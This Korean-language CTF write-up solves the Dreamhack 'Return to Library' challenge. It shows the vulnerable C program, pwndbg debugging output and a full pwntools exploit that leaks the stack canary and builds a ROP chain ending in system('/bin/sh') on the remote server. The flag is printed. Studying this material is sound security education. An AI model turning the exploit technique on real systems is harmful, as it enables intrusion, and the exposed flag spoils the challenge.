[dreamhack] Return to Library writeup

1. 문제

thumbnail
Return to Library

Exploit Tech: Return to Library에서 실습하는 문제입니다.

https://dreamhack.io/wargame/challenges/353

2. 풀이

#include <stdio.h>
#include <unistd.h>

const char* binsh = "/bin/sh";

int main() {
  char buf[0x30];

  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);

  // Add system function to plt's entry
  system("echo 'system@plt'");

  // Leak canary
  printf("[1] Leak Canary\n");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);

  // Overwrite return address
  printf("[2] Overwrite return address\n");
  printf("Buf: ");
  read(0, buf, 0x100);

  return 0;
}

system함수를 plt 테이블에 넣기 위한 호출 코드가 있고, 그뒤 canary를 leak할 수 있는 기회를 준다. 그리고 리턴 주소를 덮어씌울 수 있다.


우선 system함수를 plt테이블에 넣기 위해서는 코드에서 반드시 한번 호출해야한다. 그렇지 않으면 아예 libc에서 직접 주소를 구해와야하는데 다행히 그런 문제는 아니다. 그리고 no PIE이므로 주소들이 다 고정되어있다. 사실상 이전에 풀었던 64비트 ROP와 동일하게 푸는 문제이다.

처음에는 아래와 같이 stage를 구성했다.

  • ⁣1. buf에 충분히 채워서 %s 출력을 통해 canary leak
  • ⁣2. 이미 "/bin/sh"문자열이 존재하는 주소가 있으므로, 이를 이용해서 system("/bin/sh") 실행

그런데 실제로 exploit을 작성하고 실행해보니 아래와 같은 결과가 발생하면서 안되길래 뭐지하면서 binsh 변수에 들은 값을 봤다.

ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Library$ python3 e_rtl.py 
[+] Starting local process './rtl': pid 2304369
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/Return_to_Library/rtl'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:11: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:13: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("b")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
[*] Switching to interactive mode
sh: 1: t\x08@: not found
pwndbg> p &binsh
$1 = (<data variable, no debug info> *) 0x601058 <binsh>
pwndbg> x/10s 0x601058
0x601058 <binsh>:	"t\b@"
0x60105c <binsh+4>:	""
0x60105d <binsh+5>:	""
0x60105e <binsh+6>:	""
0x60105f <binsh+7>:	""
0x601060 <stdout@@GLIBC_2.2.5>:	""
0x601061 <stdout@@GLIBC_2.2.5+1>:	""
0x601062 <stdout@@GLIBC_2.2.5+2>:	""
0x601063 <stdout@@GLIBC_2.2.5+3>:	""
0x601064 <stdout@@GLIBC_2.2.5+4>:	""

???????? 갑자기 이상한 “t\b@” 같은 문자가 들어있었다. 그래서 실행이 안되는거였고… 그래서 해당 위치에 내가 직접 쓸 수 있을까해서 vmmap을 통해 확인했고 다행히 해당 영역은 write권한이 있었다.

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size Offset File (set vmmap-prefer-relpaths on)
          0x400000           0x401000 r-xp     1000      0 rtl
          0x600000           0x601000 r--p     1000      0 rtl
          0x601000           0x602000 rw-p     1000   1000 rtl
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000      0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000  28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000      0 [anon_7ffff7e05]
    0x7ffff7fb2000     0x7ffff7fb5000 rw-p     3000      0 [anon_7ffff7fb2]
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000      0 [anon_7ffff7fbd]
    0x7ffff7fbf000     0x7ffff7fc3000 r--p     4000      0 [vvar]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000      0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000      0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000   1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000  2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000  36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000  38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000      0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000      0 [vsyscall]

그래서 위의 stage 구성을 약간 변경해서 해당 영역에 먼저 쓰고, 그다음에 system함수를 호출하는 것으로 했다.

  • ⁣1. buf에 충분히 채워서 %s 출력을 통해 canary leak
  • ⁣2. read함수를 실행시켜서 binsh 변수에 "/bin/sh"를 입력
  • ⁣3. 이미 "/bin/sh"문자열이 존재하는 주소가 있으므로, 이를 이용해서 system("/bin/sh") 실행

아래와 같이 exploit을 작성하였다. 작성할때 stack alignment 때문에 ret를 하나 넣어줬다.

from pwn import *

p = process("./rtl")
p = remote("host3.dreamhack.games", 19069)
elf = ELF("./rtl")

pop_rdi = 0x0000000000400853
pop_rsi_r15 = 0x400851
ret = 0x400596
system_plt = 0x4005d0
read_plt = 0x4005f0
binsh_addr = 0x601058

# 1. leak canary
p.recvuntil("Buf: ")
p.send(b"a" * 56 + b'b')
p.recvuntil("b")
canary = u64(b"\x00" + p.recv(7))

# 2. write binsh in binsh variable 
p.recvuntil("Buf: ")

payload = b''
payload += b'a' * 56
payload += p64(canary)
payload += b'b' * 8
payload += p64(ret)

payload += p64(pop_rdi)
payload += p64(0x0)         # rdi
payload += p64(pop_rsi_r15)
payload += p64(binsh_addr)  # rsi
payload += p64(0x0)         # r15
payload += p64(read_plt)

# 3. system("/bin/sh")
payload += p64(pop_rdi)
payload += p64(binsh_addr)
payload += p64(system_plt)

p.send(payload)
p.send(b"/bin/sh")

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/Return_to_Library$ python3 e_rtl.py 
[+] Starting local process './rtl': pid 2304829
[+] Opening connection to host3.dreamhack.games on port 19069: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/Return_to_Library/rtl'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:15: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:17: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("b")
/home/ubuntu/dreamhack/level2/Return_to_Library/e_rtl.py:21: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("Buf: ")
[*] Switching to interactive mode
$ id
uid=1000(rtl) gid=1000(rtl) groups=1000(rtl)
$ cat flag
DH{13e0d0ddf0c71c0ac4410687c11e6b00}

elf.plt가 안먹히길래 elf.plt.keys()를 출력했더니 아무것도 없었다… 그래서 elf.symbols.keys()를 출력했더니 함수들이 다 보이길래 elf.symbols["system"] 이렇게 해봤는데 system@got.plt의 위치가 나온다.


해결~